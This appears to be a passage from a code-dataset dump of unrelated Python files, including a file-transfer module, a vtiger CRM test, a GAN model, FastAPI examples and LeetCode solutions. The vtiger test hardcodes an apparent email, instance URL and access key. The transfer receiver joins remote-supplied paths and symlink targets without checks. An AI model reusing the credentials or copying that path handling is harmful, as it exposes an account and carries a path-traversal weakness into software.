len(sums)\n\nfor i in range(size):\n\tcarry = acc + sums[i]\n\tif i == size-1:\n\t\tprint(i, sums[i], acc, carry)\n\t\tanswer.insert(0,carry)\n\telse:\n\t\tprint(i, sums[i], acc, carry)\n\t\tanswer.insert(0,carry % 10)\n\t\tacc = math.floor(carry/10)\n\t\nprint(answer)","sub_path":"013-large-sum.py","file_name":"013-large-sum.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"529430641","text":"import os\nimport gettext\n\nfrom gi.repository import GLib, Gio, GObject\n\nimport util\nfrom util import FileType, OpStatus\nimport prefs\nimport warp_pb2\n\n_ = gettext.gettext\n\nFILE_INFOS = \\\n \"standard::size,standard::allocated-size,standard::name,standard::type,standard::symlink-target\"\nFILE_INFOS_SINGLE_FILE = \\\n \"standard::size,standard::allocated-size,standard::name,standard::type,standard::symlink-target,standard::content-type\"\n\ndef load_file_in_chunks(path):\n gfile = Gio.File.new_for_path(path)\n\n try:\n stream = gfile.read(None)\n except GLib.Error:\n return\n\n while True:\n bytes = stream.read_bytes(util.CHUNK_SIZE, None)\n if bytes.get_size() == 0:\n break\n\n response = warp_pb2.RemoteMachineAvatar(avatar_chunk=bytes.get_data())\n yield response\n\n stream.close()\n\ndef make_symbolic_link(op, path, target):\n tmppath = os.path.join(os.path.dirname(path), \"%s-%d-%d.tmp\" % (op.sender, op.start_time, GLib.get_monotonic_time()))\n tmpfile = Gio.File.new_for_path(tmppath)\n\n tmpfile.make_symbolic_link(target, None)\n os.replace(tmpfile.get_path(), path)\n\n# This represents a file to be transferred (this is used by the sender)\nclass File:\n def __init__(self, uri, basename, rel_path, size, file_type, symlink_target_path=None):\n self.uri = uri\n self.basename = basename\n self.relative_path = rel_path\n self.size = size\n self.file_type = file_type\n self.symlink_target_path = symlink_target_path\n\nclass FileSender(GObject.Object):\n def __init__(self, op, connect_name, timestamp, cancellable):\n super(FileSender, self).__init__()\n self.op = op\n self.connect_name = connect_name\n self.timestamp = timestamp\n self.cancellable = cancellable\n\n self.error = None\n\n def read_chunks(self):\n for file in self.op.resolved_files:\n if self.cancellable.is_set():\n return # StopIteration as different behaviors between 3.5 and 3.7, this works as well.\n\n if file.file_type == FileType.DIRECTORY:\n yield warp_pb2.FileChunk(relative_path=file.relative_path,\n file_type=file.file_type)\n elif file.file_type == FileType.SYMBOLIC_LINK:\n yield warp_pb2.FileChunk(relative_path=file.relative_path,\n file_type=file.file_type,\n symlink_target=file.symlink_target_path)\n else:\n stream = None\n\n try:\n gfile = Gio.File.new_for_uri(file.uri)\n stream = gfile.read(None)\n\n last_size_read = 1\n\n while True:\n if last_size_read == 0:\n break\n\n if self.cancellable.is_set():\n return\n\n b = stream.read_bytes(util.CHUNK_SIZE, None)\n last_size_read = b.get_size()\n self.op.progress_tracker.update_progress(last_size_read)\n\n yield warp_pb2.FileChunk(relative_path=file.relative_path,\n file_type=file.file_type,\n chunk=b.get_data())\n\n stream.close()\n continue\n except Exception as e:\n try:\n # If we leave an io stream open, it locks the location. For instance,\n # if this was a mounted location, we wouldn't be able to terminate until\n # we closed warp.\n stream.close()\n except GLib.Error:\n pass\n\n self.error = e\n return\n\n self.op.progress_tracker.finished()\n\n\nclass FileReceiver(GObject.Object):\n def __init__(self, op):\n super(FileReceiver, self).__init__()\n self.save_path = prefs.get_save_path()\n self.op = op\n\n self.current_path = None\n self.current_gfile = None\n self.current_stream = None\n\n def receive_data(self, s):\n save_path = prefs.get_save_path()\n\n path = os.path.join(save_path, s.relative_path)\n if path != self.current_path:\n if self.current_stream:\n self.current_stream.close()\n self.current_stream = None\n self.current_gfile = None\n\n self.current_path = path\n\n if s.file_type == FileType.DIRECTORY:\n os.makedirs(path, exist_ok=True)\n elif s.file_type == FileType.SYMBOLIC_LINK:\n absolute_symlink_target_path = os.path.join(save_path, s.symlink_target)\n make_symbolic_link(self.op, path, absolute_symlink_target_path)\n else:\n if not self.current_gfile:\n self.current_gfile = Gio.File.new_for_path(path)\n\n flags = Gio.FileCreateFlags.REPLACE_DESTINATION\n self.current_stream = self.current_gfile.replace(None, False, flags, None)\n\n length = len(s.chunk)\n if length == 0:\n return\n\n self.current_stream.write_bytes(GLib.Bytes(s.chunk), None)\n self.op.progress_tracker.update_progress(length)\n\n def receive_finished(self):\n self.op.progress_tracker.finished()\n\n\ndef add_file(op, basename, uri, base_uri, info):\n relative_symlink_path = None\n\n # Normal files usually take more disk space than their actual size, so we want that\n # for checking free disk space on the target computer. However, sparse files can\n # report a smaller allocated size on disk than their 'actual' size. For now we can\n # only copy files in their full state, and at the other end they'll no longer be\n # sparse, so we use the largest of the two sizes for our purposes.\n alloc_size = info.get_attribute_uint64(Gio.FILE_ATTRIBUTE_STANDARD_ALLOCATED_SIZE)\n file_size = info.get_size()\n size = file_size if file_size > alloc_size else alloc_size\n\n file_type = info.get_file_type()\n\n if file_type == Gio.FileType.SYMBOLIC_LINK:\n symlink_target = info.get_symlink_target()\n if symlink_target:\n if symlink_target[0] == \"/\":\n symlink_file = Gio.File.new_for_path(symlink_target)\n relative_symlink_path = util.relpath_from_uri(symlink_file.get_uri(), base_uri)\n if not relative_symlink_path:\n relative_symlink_path = symlink_target\n else:\n relative_symlink_path = symlink_target\n\n if base_uri:\n relative_path = util.relpath_from_uri(uri, base_uri)\n else:\n relative_path = basename\n\n file = File(uri, basename, relative_path, size, util.gfiletype_to_int_enum(file_type), relative_symlink_path)\n\n op.resolved_files.append(file)\n op.total_size += size\n op.total_count += 1\n\ndef gather_file_info(op):\n top_dir_basenames = []\n uri_list = op.uris\n\n error = None\n\n if len(uri_list) == 1:\n infos = FILE_INFOS_SINGLE_FILE\n else:\n infos = FILE_INFOS\n\n # Recursive function for processing folders and their contents.\n def process_folder(folder_uri, top_dir):\n folder_file = Gio.File.new_for_uri(folder_uri)\n\n enumerator = folder_file.enumerate_children(infos, Gio.FileQueryInfoFlags.NOFOLLOW_SYMLINKS, None)\n info = enumerator.next_file(None)\n\n while info:\n child = enumerator.get_child(info)\n child_uri = child.get_uri()\n child_basename = child.get_basename()\n\n file_type = info.get_file_type()\n\n if file_type == Gio.FileType.DIRECTORY:\n add_file(op, child_basename, child_uri, top_dir, info)\n process_folder(child_uri, top_dir)\n else:\n add_file(op, child_basename, child_uri, top_dir, info)\n\n info = enumerator.next_file(None)\n\n # Process the initial list.\n for uri in uri_list:\n file = Gio.File.new_for_uri(uri)\n top_dir_basenames.append(file.get_basename())\n\n try:\n info = file.query_info(infos, Gio.FileQueryInfoFlags.NONE, None)\n except GLib.Error as e:\n error = e\n break\n basename = file.get_basename()\n if len(uri_list) == 1:\n op.mime_if_single = info.get_content_type()\n\n if info and info.get_file_type() == Gio.FileType.DIRECTORY:\n top_dir = file.get_parent().get_uri()\n add_file(op, basename, uri, None, info)\n process_folder(uri, top_dir)\n continue\n else:\n add_file(op, basename, uri, None, info)\n\n op.top_dir_basenames = top_dir_basenames\n\n return error\n\nclass Progress():\n def __init__(self, progress, time_left_sec, bytes_per_sec):\n self.progress = progress\n self.time_left_sec = time_left_sec\n self.bytes_per_sec = bytes_per_sec\n self.progress_text = _(\"%s (%s/s)\") % (util.format_time_span(time_left_sec), GLib.format_size(bytes_per_sec))\n\nclass OpProgressTracker():\n def __init__(self, op):\n self.op = op\n self.total_size = op.total_size\n self.total_transferred = 0\n self.transfer_start_time = GLib.get_monotonic_time()\n self.last_update_time = self.transfer_start_time\n\n @util._idle\n def update_progress(self, size_read):\n self.total_transferred += size_read\n\n now = GLib.get_monotonic_time()\n\n if ((now - self.last_update_time) > util.PROGRESS_UPDATE_FREQ):\n self.last_update_time = now\n\n progress = self.total_transferred / self.total_size\n elapsed = now - self.transfer_start_time\n\n bytes_per_micro = self.total_transferred / elapsed\n bytes_per_sec = int(bytes_per_micro * 1000 * 1000)\n\n if bytes_per_sec == 0:\n bytes_per_sec = 1 # no a/0\n\n time_left_sec = (self.total_size - self.total_transferred) / bytes_per_sec\n\n print(\"%s time left, %s/s\" % (util.format_time_span(time_left_sec), GLib.format_size(bytes_per_sec)))\n\n progress_report = Progress(progress, time_left_sec, bytes_per_sec)\n self.op.progress_report(progress_report)\n\n def finished(self):\n self.op.progress_report(Progress(1.0, 0, 0))\n","sub_path":"src/transfers.py","file_name":"transfers.py","file_ext":"py","file_size_in_byte":10642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"62262078","text":"__author__ = 'verbalist'\nimport unittest\nimport vtiger\nimport time\n\nclass VtigerTest(unittest.TestCase):\n\n def setUp(self):\n self.v = vtiger.Vtiger('andreyfrost@gmail.com', 'https://gm64.od2.vtiger.com', '0KfHCXp6gynViFDi')\n self.v.login()\n self.assertIsNotNone(self.v.token)\n\n def test_list(self):\n r = self.v.list()\n self.assertTrue(r['success'], msg=r)\n\n def test_describe(self):\n r = self.v.describe('Users')\n print(r)\n self.assertTrue(r['success'], msg=r)\n\n @unittest.skip\n def test_expire(self):\n self.v._get_token()\n time.sleep(301)\n r = self.v.list()\n self.assertTrue(r['success'])\n\n def test_query(self):\n r = self.v.query('select * from Leads limit 2')\n self.assertTrue(r['success'], msg=r)\n\n @unittest.skip\n def test_create(self):\n # cf_1022 code name for license\n self.v.create({'firstname': 'monty', 'lastname': 'python', 'emailoptout': 'aaa@bbb.com', 'cf_1022': 'Trial',\n 'cf_1177': 'Denis Petrov', 'leadsource': 'Test'}, 'Contacts')\n q = self.v.query('select firstname, id from Contacts where firstname=%s' % 'monty')\n self.assertEqual(q['firstname'], 'monty', msg=q)\n\n @unittest.skip\n def test_update(self):\n q = self.v.query('select firstname, lastname, leadsource, leadstatus, assigned_user_id, cf_1155, cf_1159, assigned_user_id from Leads where id=2x4727')\n self.v.update({'id': '2x4727', 'phone': '123', 'cf_1159': 'Denis Petrov', 'cf_1155': 'English',\n 'leadstatus': q['leadstatus'], 'leadsource': q['leadsource'], 'lastname': q['lastname'],\n 'assigned_user_id': q['assigned_user_id'], 'firstname': q['firstname']})\n q = self.v.query('select phone from Leads where id=2x4727')\n self.assertEqual(q['phone'], '123')\n\n @unittest.skip\n def test_delete(self):\n self.v.create({'firstname': 'monty', 'lastname': 'python', 'emailoptout': 'aaa@bbb.com', 'cf_1022': 'Trial',\n 'cf_1177': 'Denis Petrov', 'leadsource': 'Test'}, 'Contacts')\n q = self.v.query(\"select firstname from Contacts where firstname='%s'\" % 'monty')\n self.v.delete(q['id'])\n q = self.v.query(\"select firstname from Contacts where firstname='%s'\" % 'monty')\n self.assertEqual(q, [])\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"47620363","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport matplotlib.patches as patches\nimport numpy as np\nimport os\nimport json\nfrom PIL import Image \nimport PIL \nfrom tqdm import tqdm\nimport cv2\n\nfor file in tqdm(os.listdir()):\n if file.endswith('.json'):\n f = open(file)\n im_data = json.load(f)\n img_extr = cv2.imread(im_data[\"imagePath\"])\n img_extr=cv2.resize(img_extr,(800,615))\n h, w, c = img_extr.shape\n img = np.zeros((h + 4000, w + 4000, 3), dtype=np.uint8)\n img[2000:h+2000, 2000:w+2000,:] = img_extr\n x_min = 1000000\n x_max = 1\n y_min = 1000000\n y_max = 1\n for shape in im_data[\"shapes\"]:\n if shape[\"label\"] == \"discLoc\" or shape[\"label\"] == \"disc\":\n for point in shape[\"points\"]:\n y_min = min(y_min, int(point[0]))\n y_max = max(y_max, int(point[0]))\n x_min = min(x_min, int(point[1]))\n x_max = max(x_max, int(point[1]))\n \n height = (y_max - y_min) / 2\n width = (x_max - x_min) / 2\n c_x = (x_min + x_max) / 2 + 2000\n c_y = (y_min + y_max) / 2 + 2000\n height *= 1.8\n width *= 1.8\n\n img = img[int(c_x - width):int(c_x + width),int(c_y - height):int(c_y + height),:]\n\n\n \n try:\n \n im = Image.fromarray(img)\n plt.imshow(img)\n plt.show()\n #im = im.save(os.path.join(\"glaucoma\", im_data[\"imagePath\"])) \n except:\n print(\"bad\")\n print(im_data[\"imagePath\"])\n print(int(c_x - width),int(c_x + width),int(c_y - height),int(c_y + height))\n\n plt.imshow(img)\n plt.show()\n \n","sub_path":"data/zoom_g1020.py","file_name":"zoom_g1020.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"409697984","text":"# Time: O(|V| + |E|)\n# Space: O(|V|)\n\n# 1236\n# Given a url startUrl and an interface HtmlParser, implement a web crawler to crawl all links\n# that are under the same hostname as startUrl.\n#\n# Return all urls obtained by your web crawler in any order.\n#\n# Your crawler should:\n# - Start from the page: startUrl\n# - Call HtmlParser.getUrls(url) to get all urls from a webpage of given url.\n# - Do not crawl the same link twice.\n# - Explore only the links that are under the same hostname as startUrl.\n\n# In sample url http://exmaple.org:8888/foo/bar#bang, hostname is \"example.org\", host is \"example.org:8888\"\n# For simplicity sake, you may assume all urls use http protocol without any port specified.\n# For example, the urls http://leetcode.com/problems and http://leetcode.com/contest are under the same\n# hostname, while urls http://example.org/test and http://example.com/abc are not under the same hostname.\n\n# Constraints:\n# 1 <= urls.length <= 1000, 1 <= urls[i].length <= 300\n# You may assume there're no duplicates in url library.\n\n\n# SOLUTION: Use DFS/BFS to search start from the startURL. Remember to get rid of duplicate URLs.\n\n# \"\"\"\n# This is HtmlParser's API interface.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\nclass HtmlParser(object):\n def getUrls(self, url):\n \"\"\"\n :type url: str\n :rtype List[str]\n \"\"\"\n pass\n\n\nclass Solution(object):\n def crawl(self, startUrl, htmlParser):\n \"\"\"\n :type startUrl: str\n :type htmlParser: HtmlParser\n :rtype: List[str]\n \"\"\"\n SCHEME = \"http://\"\n def hostname(url):\n pos = url.find('/', len(SCHEME))\n if pos == -1:\n return url\n return url[:pos]\n\n result = [startUrl]\n lookup = set(result)\n for from_url in result:\n name = hostname(from_url)\n for to_url in htmlParser.getUrls(from_url):\n if to_url not in lookup and name == hostname(to_url):\n result.append(to_url)\n lookup.add(to_url)\n return result\n\nurls = [\n \"http://news.yahoo.com\",\n \"http://news.yahoo.com/news\",\n \"http://news.yahoo.com/news/topics/\",\n \"http://news.google.com\",\n \"http://news.yahoo.com/us\"\n]\nedges = [[2,0],[2,1],[3,2],[3,1],[0,4]]\nstartUrl = \"http://news.yahoo.com/news/topics/\"\nOutput: [\n \"http://news.yahoo.com\",\n \"http://news.yahoo.com/news\",\n \"http://news.yahoo.com/news/topics/\",\n \"http://news.yahoo.com/us\"\n]\n\nurls = [\n \"http://news.yahoo.com\",\n \"http://news.yahoo.com/news\",\n \"http://news.yahoo.com/news/topics/\",\n \"http://news.google.com\"\n]\nedges = [[0,2],[2,1],[3,2],[3,1],[3,0]]\nstartUrl = \"http://news.google.com\"\nOutput: [\"http://news.google.com\"]","sub_path":"Python/web-crawler.py","file_name":"web-crawler.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"443668136","text":"from fastapi import FastAPI\nfrom fastapi import HTTPException\nfrom fastapi.responses import JSONResponse\nfrom starlette.requests import Request\nfrom fastapi.exceptions import RequestValidationError\nfrom fastapi.responses import PlainTextResponse\n\n\napp =FastAPI()\n'''\n错误处理 未完成 跳过 以后再看!\n'''\n\nitems ={\"foo\":\"the foo\"}\n\n@app.get(\"/items/{item_id}\")\nasync def get_items(item_id:str):\n if item_id not in items:\n '''\n detail 除了传递str,还可以传递list、dict、这些都将转换成json数据\n 在headers中定义错误信息\n '''\n raise HTTPException(\n status_code=404,\n detail=\"item not found\",\n headers={\"X-Error\":\"there goes my error\"},\n )\n return {\"item\":items[item_id]}\n\n#自定义异常处理器\nclass UnicornException(Exception):\n def __init__(self,name:str):\n self.name =name\n\n@app.exception_handler(UnicornException)\nasync def unicorn_exception_handler(request:Request,exc:UnicornException):\n '''\n from starlette.requests import Request\n '''\n return JSONResponse(\n status_code=418,\n content={\"message\":f\"Oops! {exc.name} did something. There goes a rainbow...\"},\n )\n\n@app.exception_handler(RequestValidationError)\nasync def validation_exception_handler(request,exc):\n '''\n 当请求包含无效数据时,fastapi内部引发RequestVilidationError\n from fastapi.exceptions import RequestValidationError\n 覆盖默认的错误\n '''\n return PlainTextResponse(str(exc),status_code=400)\n\n@app.get(\"/unicorns/{name}\")\nasync def read_unicorn(name:str):\n if name ==\"yalo\":\n raise UnicornException(name=name)\n return {\"unicorn_name\":name}\n\n\n@app.get(\"/items/{item_id}\")\nasync def read_item(item_id:int):\n if item_id ==3:\n raise HTTPException(status_code=418,detail=\"Nope\")\n return {\"item_id\":item_id}\n\n\n","sub_path":"Base/ep12.py","file_name":"ep12.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"100064140","text":"# 公共字符串,有问题\n\n\na = input().upper()\nb = input().upper()\nres = 0\nfor i in range(len(a) -1):\n for j in range(len(b) - 1):\n if a[i:i+j] in b: #默认的a比b短\n if res int:\n if not root:\n return -1\n\n def get_min(root, k):\n stk = [root]\n while stk:\n r = stk.pop()\n if r.val != k:\n return r.val\n if r.left:\n stk.append(r.left)\n if r.right:\n stk.append(r.right)\n\n vec = [root.val]\n if root.left:\n vec.append(root.left.val)\n if root.right:\n vec.append(root.right.val)\n\n if len(vec) == 1:\n return -1\n\n if len(vec) == len(set(vec)):\n return min(vec[1], vec[2])\n\n res = []\n if root.left:\n v = get_min(root.left, root.val)\n if v:\n res.append(v)\n if root.right:\n v = get_min(root.right, root.val)\n if v:\n res.append(v)\n if res:\n return min(res)\n else:\n return -1\n\n\nr = ct.get_tree([2, 3, 2])\ns = Solution()\nb = s.findSecondMinimumValue(r)\nprint(b)\n","sub_path":"lc.py","file_name":"lc.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"75279703","text":"from django.contrib import admin\nfrom Taskapp.models import AppTask\n\n# Register your models here.\n\nclass AppTaskAdmin(admin.ModelAdmin):\n def has_change_permission(self, request, obj=None):\n if obj is not None and obj.created_by != request.user:\n return False\n return True\n\n def has_delete_permission(self, request, obj=None):\n if obj is not None and obj.created_by != request.user:\n return False\n return True\n\nadmin.site.register(AppTask,AppTaskAdmin)\n","sub_path":"Taskapp/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"363247549","text":"import argparse\nimport configparser\nfrom . import exceptions\nimport logging\nimport re\n\nalert_level = {\n 'debug': logging.DEBUG,\n 'warning': logging.WARNING,\n 'info': logging.INFO,\n 'error': logging.ERROR\n}\n\n\ndef get_config():\n filename, *rest = _get_filename()\n return _get_server_info(filename), rest\n\n\ndef _get_filename():\n parser = argparse.ArgumentParser()\n parser.add_argument('filename',\n help='name of file with server configuration info, default: \"config.ini\" ',\n nargs='?',\n default='config.ini')\n parser.add_argument('--clean-log',\n help='flag to clean log on start',\n action='store_true')\n parser.add_argument('--cleaner',\n help='turn on cleaner process',\n action='store_true')\n parser.add_argument('--old-data-copy',\n type=str,\n help='folder for old data folder')\n r = vars(parser.parse_args())\n return r['filename'], r['clean_log'], r['cleaner'], r['old_data_copy']\n\n\ndef _get_server_info(filename):\n config = configparser.ConfigParser()\n found = config.read(filename)\n if filename not in found:\n raise exceptions.ConfigParserException(\"Unable to read configuration file.\")\n if 'CLIENT' not in config:\n raise exceptions.ConfigParserException(\"Client section missing from configuration file.\")\n if 'VIRUSTOTAL' not in config:\n raise exceptions.ConfigParserException(\"VT section missing from configuration file.\")\n\n cinfo = dict()\n\n try:\n cinfo['LogFileName'] = config['DEFAULT']['LogFileName']\n\n cinfo['AlertLevel'] = alert_level.get(config['DEFAULT']['AlertLevel'], logging.ERROR)\n\n cinfo['InterfaceAddress'] = config['CLIENT']['InterfaceAddress']\n cinfo['Port'] = int(config['CLIENT']['Port'])\n cinfo['ResultsFolder'] = config['CLIENT']['ResultsFolder']\n\n regex = r\"[A-Za-z0-9]+/\"\n if not re.fullmatch(regex, cinfo['ResultsFolder']):\n raise exceptions.ConfigParserException(\"Results Folder should match regex {0}\".format(regex))\n\n cinfo['Backlog'] = int(config['CLIENT']['Backlog'])\n\n cinfo['VTPORT'] = int(config['VIRUSTOTAL']['VTPORT'])\n cinfo['ServerReqFreq'] = int(config['VIRUSTOTAL']['ServerReqFreq'])\n cinfo['ResultsTTL'] = int(config['VIRUSTOTAL']['ResultsTTL'])\n cinfo['MaxSamples'] = int(config['VIRUSTOTAL']['MaxSamples'])\n except ValueError as e:\n raise exceptions.ConfigParserException(\"Wrong value (\" + str(e) + \")\")\n except KeyError as e:\n raise exceptions.ConfigParserException(\"Option \" + str(e) + \" is missing from configuration file.\")\n\n return cinfo\n\n\n","sub_path":"src/scrapper/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"375311757","text":"# _*_ coding:utf-8 _*_\nimport tensorflow as tf\nfrom detect_discriminator import Discriminator\nfrom feature_discriminator import FeatureDiscriminator\nfrom GAN_test_encoder import GEncoder\nfrom GAN_test_decoder import GDecoder\n\n\nclass GAN:\n def __init__(self,\n image_size,\n learning_rate=2e-5,\n batch_size=1,\n ngf=64,\n ):\n \"\"\"\n Args:\n input_size:list [H, W, C]\n batch_size: integer, batch size\n learning_rate: float, initial learning rate for Adam\n ngf: number of gen filters in first conv layer\n \"\"\"\n self.learning_rate = learning_rate\n self.input_shape = [int(batch_size / 4), image_size[0], image_size[1], image_size[2]]\n self.ones = tf.ones(self.input_shape, name=\"ones\")\n self.tenaor_name = {}\n\n self.EC_F = GEncoder('EC_F', ngf=ngf)\n self.DC_F = GDecoder('DC_F', ngf=ngf, output_channl=2)\n self.D_F = Discriminator('D_F', ngf=ngf)\n self.FD_F = FeatureDiscriminator('FD_F', ngf=ngf)\n\n def get_f(self, x, beta=0.07):\n f1 = self.norm(tf.reduce_min(tf.image.sobel_edges(x), axis=-1))\n f2 = self.norm(tf.reduce_max(tf.image.sobel_edges(x), axis=-1))\n f1 = tf.reduce_mean(f1, axis=[1, 2, 3]) - f1\n f2 = f2 - tf.reduce_mean(f2, axis=[1, 2, 3])\n\n f1 = self.ones * tf.cast(f1 > beta, dtype=\"float32\")\n f2 = self.ones * tf.cast(f2 > beta, dtype=\"float32\")\n\n f = f1 + f2\n f = self.ones * tf.cast(f > 0.0, dtype=\"float32\")\n return f\n\n def get_mask(self, m, p=5):\n mask = 1.0 - self.ones * tf.cast(m > 0.0, dtype=\"float32\")\n shape = m.get_shape().as_list()\n mask = tf.image.resize_images(mask, size=[shape[1] + p, shape[2] + p], method=1)\n mask = tf.image.resize_image_with_crop_or_pad(mask, shape[1], shape[2])\n return mask\n\n def remove_l(self, l, f):\n l_mask = self.get_mask(l, p=0)\n f = f * l_mask # 去除肿瘤轮廓影响\n return f\n\n def model(self, l_m, m):\n mask = self.get_mask(m)\n f = self.get_f(m) # M->F\n f = self.remove_l(l_m, f)\n\n # F -> F_R VAE\n code_f_mean, code_f_logvar = self.EC_F(f)\n shape = code_f_logvar.get_shape().as_list()\n code_f_std = tf.exp(0.5 * code_f_logvar)\n code_f_epsilon = tf.random_normal(shape, mean=0., stddev=1., dtype=tf.float32)\n code_f = code_f_mean + tf.multiply(code_f_std, code_f_epsilon)\n\n f_r_prob = self.DC_F(code_f)\n f_r = tf.reshape(tf.cast(tf.argmax(f_r_prob, axis=-1), dtype=tf.float32), shape=self.input_shape)\n\n # CODE_F_RM\n code_f_rm = tf.random_normal(shape, mean=0., stddev=1., dtype=tf.float32)\n f_rm_prob = self.DC_F(code_f_rm)\n f_rm = tf.reshape(tf.cast(tf.argmax(f_rm_prob, axis=-1), dtype=tf.float32), shape=self.input_shape)\n self.tenaor_name[\"code_f_rm\"] = str(code_f_rm)\n self.tenaor_name[\"f_rm\"] = str(f_rm)\n\n # D,FD\n j_f = self.D_F(f)\n j_f_rm = self.D_F(f_rm)\n\n code_f = tf.reshape(code_f, shape=[-1, 64, 64, 1])\n code_f_rm = tf.reshape(code_f_rm, shape=[-1, 64, 64, 1])\n j_code_f_rm = self.FD_F(code_f_rm)\n j_code_f = self.FD_F(code_f)\n\n D_loss = 0.0\n G_loss = 0.0\n # 使得结构特征图编码服从正态分布的对抗性损失\n D_loss += self.mse_loss(j_code_f_rm, 1.0) * 0.1\n D_loss += self.mse_loss(j_code_f, 0.0) * 0.1\n G_loss += self.mse_loss(j_code_f, 1.0) * 0.1\n\n G_loss += self.mse_loss(tf.reduce_mean(code_f_mean), 0.0) * 0.1\n G_loss += self.mse_loss(tf.reduce_mean(code_f_std), 1.0) * 0.1\n\n # 使得随机正态分布矩阵解码出结构特征图更逼真的对抗性损失\n D_loss += self.mse_loss(j_f, 1.0)\n D_loss += self.mse_loss(j_f_rm, 0.0)\n G_loss += self.mse_loss(j_f_rm, 1.0) * 10\n\n # 结构特征图两次重建融合后与原始结构特征图的两两自监督一致性损失\n G_loss += self.mse_loss(f, f_r) * 50\n\n G_loss += self.mse_loss(0.0, f_r * mask) * 5\n\n f_one_hot = tf.reshape(tf.one_hot(tf.cast(f, dtype=tf.int32), depth=2, axis=-1),\n shape=f_r_prob.get_shape().as_list())\n G_loss += self.mse_loss(f_one_hot, f_r_prob) * 50\n\n image_list = [m, f, f_r, f_rm]\n\n code_list = [code_f, code_f_rm]\n\n j_list = [j_code_f, j_code_f_rm, j_f, j_f_rm]\n\n loss_list = [G_loss, D_loss]\n\n return image_list, code_list, j_list, loss_list\n\n def get_variables(self):\n return [self.EC_F.variables\n + self.DC_F.variables,\n\n self.D_F.variables +\n self.FD_F.variables\n ]\n\n def optimize(self):\n def make_optimizer(name='Adam'):\n learning_step = (\n tf.train.AdamOptimizer(self.learning_rate, beta1=0.5, name=name)\n )\n return learning_step\n\n G_optimizer = make_optimizer(name='Adam_G')\n D_optimizer = make_optimizer(name='Adam_D')\n\n return G_optimizer, D_optimizer\n\n def evaluation_code(self, code_list):\n code_f, code_f_rm = \\\n code_list[0], code_list[1]\n list = [self.PSNR(code_f, code_f_rm)]\n return list\n\n def evaluation_code_summary(self, evluation_list):\n tf.summary.scalar('evaluation_code/PSNR/code_f__VS__code_f_rm', evluation_list[0])\n\n def evaluation(self, image_list):\n m, f, f_r, f_rm = image_list[0], image_list[1], image_list[2], image_list[3]\n list = [self.PSNR(f, f_r),\n self.SSIM(f, f_r)]\n return list\n\n def evaluation_summary(self, evluation_list):\n tf.summary.scalar('evaluation/PSNR/f__VS__f_r', evluation_list[0])\n tf.summary.scalar('evaluation/SSIM/f__VS__f_r', evluation_list[1])\n\n def histogram_summary(self, j_list):\n j_code_f, j_code_f_rm, j_f, j_f_rm = j_list[0], j_list[1], j_list[2], j_list[3]\n tf.summary.histogram('discriminator/TRUE/j_code_f_rm', j_code_f_rm)\n tf.summary.histogram('discriminator/FALSE/j_code_f', j_code_f)\n tf.summary.histogram('discriminator/TRUE/j_f', j_f)\n tf.summary.histogram('discriminator/FALSE/j_f_rm', j_f_rm)\n\n def loss_summary(self, loss_list):\n G_loss, D_loss = loss_list[0], loss_list[1]\n tf.summary.scalar('loss/G_loss', G_loss)\n tf.summary.scalar('loss/D_loss', D_loss)\n\n def image_summary(self, image_list):\n m, f, f_r, f_rm = image_list[0], image_list[1], image_list[2], image_list[3]\n tf.summary.image('image/m', m)\n tf.summary.image('image/f', f)\n tf.summary.image('image/f_rm', f_rm)\n tf.summary.image('image/f_r', f_r)\n\n def mse_loss(self, x, y):\n \"\"\" supervised loss (L2 norm)\n \"\"\"\n loss = tf.reduce_mean(tf.square(x - y))\n return loss\n\n def ssim_loss(self, x, y):\n \"\"\" supervised loss (L2 norm)\n \"\"\"\n loss = (1.0 - self.SSIM(x, y)) * 20\n return loss\n\n def PSNR(self, output, target):\n psnr = tf.reduce_mean(tf.image.psnr(output, target, max_val=1.0, name=\"psnr\"))\n return psnr\n\n def SSIM(self, output, target):\n ssim = tf.reduce_mean(tf.image.ssim(output, target, max_val=1.0))\n return ssim\n\n def norm(self, input):\n output = (input - tf.reduce_min(input, axis=[1, 2, 3])\n ) / (tf.reduce_max(input, axis=[1, 2, 3]) - tf.reduce_min(input, axis=[1, 2, 3]))\n return output\n","sub_path":"test_methods/random_to_f/GAN_test_model.py","file_name":"GAN_test_model.py","file_ext":"py","file_size_in_byte":7576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"377427210","text":"# Scrapy settings for dirbot project\nimport os\n\nPROJECT_DIR = os.path.abspath(os.path.dirname(__file__))\n\nSPIDER_MODULES = ['DBCrawler.spiders']\nNEWSPIDER_MODULE = 'DBCrawler.spiders'\nDEFAULT_ITEM_CLASS = 'DBCrawler.items.IndicatorItem'\n\nITEM_PIPELINES = ['DBCrawler.pipelines.WorldBank.WorldBankPipeline',\n'DBCrawler.pipelines.Sina.SinaPipeline',\n'DBCrawler.pipelines.HeXun.HeXunPipeline',\n'DBCrawler.pipelines.Talent.TalentPipeline']\n\nFILE_STORE = os.path.join(PROJECT_DIR,'media/talent')\nFILE_STORE_SINA = os.path.join(PROJECT_DIR,'media/sina')\nFILE_STORE_HEXUN = 